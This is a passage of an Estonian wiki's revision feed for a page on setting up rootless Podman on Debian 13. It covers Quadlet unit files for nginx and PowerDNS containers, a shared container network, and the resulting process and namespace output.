            │ └─3378 &amp;quot;(sd-pam)&amp;quot;&lt;br /&gt;
            ├─session.slice&lt;br /&gt;
            │ └─dbus.service&lt;br /&gt;
            │   └─3536 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only&lt;br /&gt;
            └─user.slice&lt;br /&gt;
              └─podman-pause-407bd36c.scope&lt;br /&gt;
                └─3427 catatonit -P&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===podhost podide vaheline võrk===&lt;br /&gt;
&lt;br /&gt;
Selleks, et ühe ja sama podhost peal töötavad pod'id omavahel saaksid üle võrgu suhelda sobib kasutada sellist asjakorraldust, ühe pod systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=8081:8081/tcp&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
# Environment=PDNS_local_port=8053&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
teise systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/nginx-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 01&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8091:80&lt;br /&gt;
ContainerName=nginx-01&lt;br /&gt;
Volume=%h/volume/nginx/etc/nginx/nginx.conf:/etc/nginx/nginx.conf:ro&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
võrgu unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/dns-net.network&lt;br /&gt;
[Network]&lt;br /&gt;
NetworkName=dns-net&lt;br /&gt;
Options=dns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad podhost peale sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# netstat -lnpt | grep rootle&lt;br /&gt;
tcp6       0      0 :::8081                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
tcp6       0      0 :::8091                 :::*                    LISTEN      63627/rootlessport&lt;br /&gt;
tcp6       0      0 :::1053                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures nad on erinevad namespace'id&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# lsns -T | grep rootlessport&lt;br /&gt;
│ ├─4026532532 net         4 63597 kasutaja        rootlessport&lt;br /&gt;
│ ├─4026532647 net         5 63627 kasutaja        rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning nende sees on sellised võrguliidesed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if4: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether ce:90:e6:c1:2e:42 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.5/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::cc90:e6ff:fec1:2e42/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if5: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether 7e:9d:11:fa:3b:24 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.6/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::7c9d:11ff:fefa:3b24/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://passt.top/&lt;br /&gt;
* youtube 'Getting started with Podman' by SRKMasterStack&lt;br /&gt;
* 'Podman for DevOps - Second Edition' - Alessandro Arrichiello, Gianni Salinetti&lt;br /&gt;
* https://www.hackerstack.org/understanding-linux-namespaces/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4228</id>
		<title>Podman kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4228"/>
		<updated>2026-06-15T21:39:52Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* podhost podide vaheline võrk */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* slirp4netns&lt;br /&gt;
* slip&lt;br /&gt;
* netavark&lt;br /&gt;
* uidmap&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Antud juhuks kasutatakse Debian v. 13 operatsioonisüsteemi, siin on olemas&lt;br /&gt;
&lt;br /&gt;
* kernel v. 6.12&lt;br /&gt;
* podman v. 5 (mitte v. 4 nagu näiteks Ubuntu 24.04)&lt;br /&gt;
&lt;br /&gt;
podman tarkvara paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# apt-get install podman -d&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree... Done&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  aardvark-dns buildah catatonit conmon containernetworking-plugins containers-storage cpp cpp-14 cpp-14-x86-64-linux-gnu&lt;br /&gt;
  cpp-x86-64-linux-gnu criu crun dirmngr fuse-overlayfs fuse3 gnupg gnupg-l10n gnupg-utils golang-github-containers-common&lt;br /&gt;
  golang-github-containers-image gpg gpg-agent gpg-wks-client gpgconf gpgsm gpgv iptables libassuan9 libcompel1 libcriu2 libgcrypt20&lt;br /&gt;
  libgpg-error-l10n libgpg-error0 libgpgme11t64 libip4tc2 libip6tc2 libisl23 libksba8 libldap-common libldap2 libmpc3 libmpfr6 libnet1&lt;br /&gt;
  libnetfilter-conntrack3 libnfnetlink0 libnl-3-200 libnpth0t64 libprotobuf32t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libslirp0&lt;br /&gt;
  libsubid5 libyajl2 netavark passt pinentry-curses python3-protobuf python3-pycriu slirp4netns uidmap&lt;br /&gt;
Suggested packages:&lt;br /&gt;
  cpp-doc gcc-14-locales cpp-14-doc libwasmedge0 pinentry-gnome3 tor gpg-wks-server parcimonie xloadimage scdaemon tpm2daemon firewalld&lt;br /&gt;
  rng-tools libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql&lt;br /&gt;
  pinentry-doc docker-compose&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse lisaks passt ja slirp4nets, uidmap conman, netavark, criu, crun&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl --user enable --now podman.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
chatgpt soovitus, 'you might need to increase your &amp;quot;unprivileged ports&amp;quot; or &amp;quot;max user namespaces&amp;quot; in /etc/sysctl.conf'&lt;br /&gt;
&lt;br /&gt;
Võrgukontroll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ps aux | grep -E 'pasta|slirp4netns'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Quadlet kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user mask podman-user-wait-network-online.service&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ cat .config/containers/systemd/nginx-08.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8098:80&lt;br /&gt;
ContainerName=nginx-08&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user daemon-reload&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user start nginx-08.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kuna unit genereeritakse, siis '... enable --now ...' vms ei ole asjakohane (saab veateate)&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user status nginx-07&lt;br /&gt;
● nginx-07.service - My Nginx Quadlet Service - 07&lt;br /&gt;
     Loaded: loaded (/home/kasutaja/.config/containers/systemd/nginx-07.container; generated)&lt;br /&gt;
     Active: active (running) since Sun 2026-04-19 20:26:21 EEST; 5min ago&lt;br /&gt;
 Invocation: 2954482c56c64789a40f697e6d660f2f&lt;br /&gt;
   Main PID: 4344 (conmon)&lt;br /&gt;
      Tasks: 5 (limit: 6982)&lt;br /&gt;
     Memory: 30.9M (peak: 46.6M)&lt;br /&gt;
        CPU: 94ms&lt;br /&gt;
     CGroup: /user.slice/user-1000.slice/user@1000.service/app.slice/nginx-07.service&lt;br /&gt;
             ├─libpod-payload-448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
             │ ├─4346 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
             │ ├─4372 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             │ └─4373 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             └─runtime&lt;br /&gt;
               ├─4341 /usr/bin/pasta --config-net -t 8097-8097:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-5f134e7f-f63d-6728-4123-10ffea79d4e9 --map-guest-addr 169.254.1.2&lt;br /&gt;
               └─4344 /usr/bin/conmon --api-version 1 -c 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -u 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -r /usr/bin/crun -b /home/kasutaja/.local/share/containers/storage/overlay-containers/448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70/userdata -p /run/user/1000/containers/overlay-containers/448f5affd046e479f&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4324]: 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 podman[4324]: 2026-04-19 20:26:21.222328815 +0300 EEST m=+0.015770124 image pull 5bd7bd52e5bcab15a093466b90e37472b0d0c0081052522afb8924cbdaf15f56 docker.io/library/nginx:alpine&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: using the &amp;quot;epoll&amp;quot; event method&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: nginx/1.29.8&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: built by gcc 15.2.0 (Alpine 15.2.0)&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: OS: Linux 6.12.74+deb13+1-amd64&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 524288:524288&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker processes&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 25&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Olukorra küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
          └─user@1000.service&lt;br /&gt;
            ├─app.slice&lt;br /&gt;
            │ ├─nginx-08.service&lt;br /&gt;
            │ │ ├─libpod-payload-bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045&lt;br /&gt;
            │ │ │ ├─3485 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │ │ │ ├─3537 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ │ └─3538 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ └─runtime&lt;br /&gt;
            │ │   ├─3464 /usr/bin/pasta --config-net -t 8098-8098:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-91377314-f55f-138d-42af-3d324176cd02 --map-guest-addr &amp;gt;&lt;br /&gt;
            │ │   └─3480 /usr/bin/conmon --api-version 1 -c bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -u bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            │ └─nginx-09.service&lt;br /&gt;
            │   ├─libpod-payload-a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a&lt;br /&gt;
            │   │ ├─3484 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │   │ ├─3511 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   │ └─3512 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   └─runtime&lt;br /&gt;
            │     ├─3476 /usr/bin/pasta --config-net -t 8099-8099:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-ec2cfa9a-6c8b-0edf-24a2-be75c53feb34 --map-guest-addr &amp;gt;&lt;br /&gt;
            │     └─3481 /usr/bin/conmon --api-version 1 -c a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -u a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            ├─init.scope&lt;br /&gt;
            │ ├─3376 /usr/lib/systemd/systemd --user&lt;br /&gt;
            │ └─3378 &amp;quot;(sd-pam)&amp;quot;&lt;br /&gt;
            ├─session.slice&lt;br /&gt;
            │ └─dbus.service&lt;br /&gt;
            │   └─3536 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only&lt;br /&gt;
            └─user.slice&lt;br /&gt;
              └─podman-pause-407bd36c.scope&lt;br /&gt;
                └─3427 catatonit -P&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===podhost podide vaheline võrk===&lt;br /&gt;
&lt;br /&gt;
Selleks, et ühe ja sama podhost peal töötavad pod'id omavahel saaksid üle võrgu suhelda sobib kasutada sellist asjakorraldust, ühe pod systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=8081:8081/tcp&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
# Environment=PDNS_local_port=8053&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
teise systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/nginx-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 01&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8091:80&lt;br /&gt;
ContainerName=nginx-01&lt;br /&gt;
Volume=%h/volume/nginx/etc/nginx/nginx.conf:/etc/nginx/nginx.conf:ro&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
võrgu unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/dns-net.network&lt;br /&gt;
[Network]&lt;br /&gt;
NetworkName=dns-net&lt;br /&gt;
Options=dns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://passt.top/&lt;br /&gt;
* youtube 'Getting started with Podman' by SRKMasterStack&lt;br /&gt;
* 'Podman for DevOps - Second Edition' - Alessandro Arrichiello, Gianni Salinetti&lt;br /&gt;
* https://www.hackerstack.org/understanding-linux-namespaces/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4227</id>
		<title>Podman kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4227"/>
		<updated>2026-06-15T21:37:28Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasulikud lisamaterjalid */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* slirp4netns&lt;br /&gt;
* slip&lt;br /&gt;
* netavark&lt;br /&gt;
* uidmap&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Antud juhuks kasutatakse Debian v. 13 operatsioonisüsteemi, siin on olemas&lt;br /&gt;
&lt;br /&gt;
* kernel v. 6.12&lt;br /&gt;
* podman v. 5 (mitte v. 4 nagu näiteks Ubuntu 24.04)&lt;br /&gt;
&lt;br /&gt;
podman tarkvara paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# apt-get install podman -d&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree... Done&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  aardvark-dns buildah catatonit conmon containernetworking-plugins containers-storage cpp cpp-14 cpp-14-x86-64-linux-gnu&lt;br /&gt;
  cpp-x86-64-linux-gnu criu crun dirmngr fuse-overlayfs fuse3 gnupg gnupg-l10n gnupg-utils golang-github-containers-common&lt;br /&gt;
  golang-github-containers-image gpg gpg-agent gpg-wks-client gpgconf gpgsm gpgv iptables libassuan9 libcompel1 libcriu2 libgcrypt20&lt;br /&gt;
  libgpg-error-l10n libgpg-error0 libgpgme11t64 libip4tc2 libip6tc2 libisl23 libksba8 libldap-common libldap2 libmpc3 libmpfr6 libnet1&lt;br /&gt;
  libnetfilter-conntrack3 libnfnetlink0 libnl-3-200 libnpth0t64 libprotobuf32t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libslirp0&lt;br /&gt;
  libsubid5 libyajl2 netavark passt pinentry-curses python3-protobuf python3-pycriu slirp4netns uidmap&lt;br /&gt;
Suggested packages:&lt;br /&gt;
  cpp-doc gcc-14-locales cpp-14-doc libwasmedge0 pinentry-gnome3 tor gpg-wks-server parcimonie xloadimage scdaemon tpm2daemon firewalld&lt;br /&gt;
  rng-tools libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql&lt;br /&gt;
  pinentry-doc docker-compose&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse lisaks passt ja slirp4nets, uidmap conman, netavark, criu, crun&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl --user enable --now podman.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
chatgpt soovitus, 'you might need to increase your &amp;quot;unprivileged ports&amp;quot; or &amp;quot;max user namespaces&amp;quot; in /etc/sysctl.conf'&lt;br /&gt;
&lt;br /&gt;
Võrgukontroll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ps aux | grep -E 'pasta|slirp4netns'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Quadlet kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user mask podman-user-wait-network-online.service&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ cat .config/containers/systemd/nginx-08.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8098:80&lt;br /&gt;
ContainerName=nginx-08&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user daemon-reload&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user start nginx-08.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kuna unit genereeritakse, siis '... enable --now ...' vms ei ole asjakohane (saab veateate)&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user status nginx-07&lt;br /&gt;
● nginx-07.service - My Nginx Quadlet Service - 07&lt;br /&gt;
     Loaded: loaded (/home/kasutaja/.config/containers/systemd/nginx-07.container; generated)&lt;br /&gt;
     Active: active (running) since Sun 2026-04-19 20:26:21 EEST; 5min ago&lt;br /&gt;
 Invocation: 2954482c56c64789a40f697e6d660f2f&lt;br /&gt;
   Main PID: 4344 (conmon)&lt;br /&gt;
      Tasks: 5 (limit: 6982)&lt;br /&gt;
     Memory: 30.9M (peak: 46.6M)&lt;br /&gt;
        CPU: 94ms&lt;br /&gt;
     CGroup: /user.slice/user-1000.slice/user@1000.service/app.slice/nginx-07.service&lt;br /&gt;
             ├─libpod-payload-448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
             │ ├─4346 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
             │ ├─4372 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             │ └─4373 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             └─runtime&lt;br /&gt;
               ├─4341 /usr/bin/pasta --config-net -t 8097-8097:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-5f134e7f-f63d-6728-4123-10ffea79d4e9 --map-guest-addr 169.254.1.2&lt;br /&gt;
               └─4344 /usr/bin/conmon --api-version 1 -c 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -u 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -r /usr/bin/crun -b /home/kasutaja/.local/share/containers/storage/overlay-containers/448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70/userdata -p /run/user/1000/containers/overlay-containers/448f5affd046e479f&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4324]: 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 podman[4324]: 2026-04-19 20:26:21.222328815 +0300 EEST m=+0.015770124 image pull 5bd7bd52e5bcab15a093466b90e37472b0d0c0081052522afb8924cbdaf15f56 docker.io/library/nginx:alpine&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: using the &amp;quot;epoll&amp;quot; event method&lt;br /&gt;
